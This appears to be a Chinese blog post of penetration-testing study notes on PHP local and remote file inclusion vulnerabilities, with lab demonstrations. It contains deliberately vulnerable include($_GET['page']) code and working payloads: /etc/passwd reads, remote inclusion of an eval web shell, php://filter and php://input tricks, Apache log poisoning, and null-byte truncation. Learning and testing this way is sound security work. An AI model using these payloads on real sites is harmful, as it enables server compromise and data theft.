文件包含漏洞

文件包含漏洞

大多是Web语言都可以只用文件包含操作,其中PHP语言所提供的文件包含功能比较强大、灵活,所以包含漏洞经常出现在PHP语言中。但并不是只用PHP语言会出现包含漏洞

PHP包含

四个函数:

include()、include_once()、require()、require()_once

  • require:找不到被包含文件时会产生致命错误,并停止脚本

  • include:找不到被包含文件时会产生警告,并继续执行脚本

  • require_ocne:与require相似,区别是如果文件中的代码已经被包含了,则不会再次包含

  • include_once:与include相似,区别是如果文件中的代码已经被包含了,则不会再次包含

本地包含:

测试一

ArrayUtil.php:

<?php
	function PrintArr($arr,$sp="-->",$lin="<br/>"){
		foreach($arr as $key => $value){
			echo "$key $sp $value $lin";
		}
	}
?>

test.php:

<?php
	include("ArrayUtil.php");  		#包含文件ArrayUtil.php
	$arr = array("张三","李四","王五");
	PrintArr($arr,"==>");
?>

访问:http://127.0.0.1/test.php

测试二

phpinfo.txt:

<?php
	phpinfo();
?>

test.php:

<?php
	include("phpinfo.txt");
?>

远程包含:

需要开启php.ini中的allow_url_include选项

测试

hello.php:

<?php
	echo "Hello world!!"
?>

test.php:

<?php
	include($_GET['page']);
?>

http://127.0.0.1/test.php?page=http://127.0.0.1/hello.php

其中,hello.php的后缀名换成txt等其他格式的后缀也可以成功实现远程包含

如果攻击者输入一个不存在的文件,php则会报错,在报错信息中会泄露网站的根目录

几种常见的攻击方式

  1. 读取敏感文件

    http://xxx.com/test.php?page=/etc/passwd

  2. 远程包含shell

    test.php:

    <?php
    	include($_GET['page']);
    ?>
    

    ehco.txt:

    <?fputs(fopen("shell.php","w"),"<?php eval($_POST["hummer"]);?>")?>
    

    http://10.10.10.137/test.php?page=http://10.10.10.139/echo.txt

    测试未成功,在写入shell.php时,只能写入<? php eval() ?>

    但可以在远程主机上写一句话,通过远程包含,菜刀或者蚁剑也可以连接

    http://10.10.10.139/echo.txt:

    <?php eval($_POST['hummer']); ?>
    

    蚁剑连接:http://10.10.10.137/test.php?page=http://10.10.10.139/echo.txt

    测试成功!

  3. 配合文件上传

    上传图片,txt等格式的文件,通过文件包含,也可当做php代码执行。

  4. 使用PHP封装协议

    • 读取php文件

      使用条件:参数page被包含

      http://10.10.10.137/test.php?page=php://filter/read=convert.base64-encode/resource=test.php

      base64解码:

      PHP://filter具体用法参考如下连接:

      php://filter伪协议读取源码 | 信安小蚂蚁 (gitee.io)

    • 写文件:

      http://10.10.10.137/test.php?page=php://input

      利用POST方式传入内容:

      在这里可以执行任意系统命令:system(‘net user’);等

      亦可以写入文件

      <?fputs(fopen("shell.php","w"),"<?php phpinfo(); ?>")?>
      
    1. 包含Apache日志文件

      Apache运行后一般默认会生成两个日志文件(access.log和error.log),其中记录了客户端的每次请求以及 服务器响应的相关信息

      在找不到文件进行包含时,我们可以自己构造Apache日志,向里面写入我们的一句话木马:

      先发起请求:http://10.10.10.137/test.php?page=<?php eval($_POST['hummer']); ?>

      查看日志:

      [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-aUoTNGFS-1647996321498)(E:\学习笔记\渗透测试\学习笔记\渗透测试.assets\a2fSd89XFbHtvUK.png)]

      发现被浏览器自动转码了

      为了防止被编码,可以用BurpSute绕过编码:

      再次查看Apache日志:

      已经成功绕过编码

    2. 截断包含

      很多情况下,程序员会通过固定扩展名的方式来修复PHP包含漏洞。

      代码段如下:

      <?php
          if(isset($_GET['page'])){
              include $_GET['page']."php";
          }
      	else{
              include 'home.php';
          }
      ?>
      

      虽然这样可以抵挡一部分攻击,但并没有真正修复了包含漏洞,攻击者仍然可以采取截断的方法来突破这段代码。

      http://www.xsser/com/test.php?page=1.jpg%00

      这用方法只适用于magic_quotes_gpc为Off的情况下,当php开启magic_quotes_gpc是,NULL(%00)会被转义

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值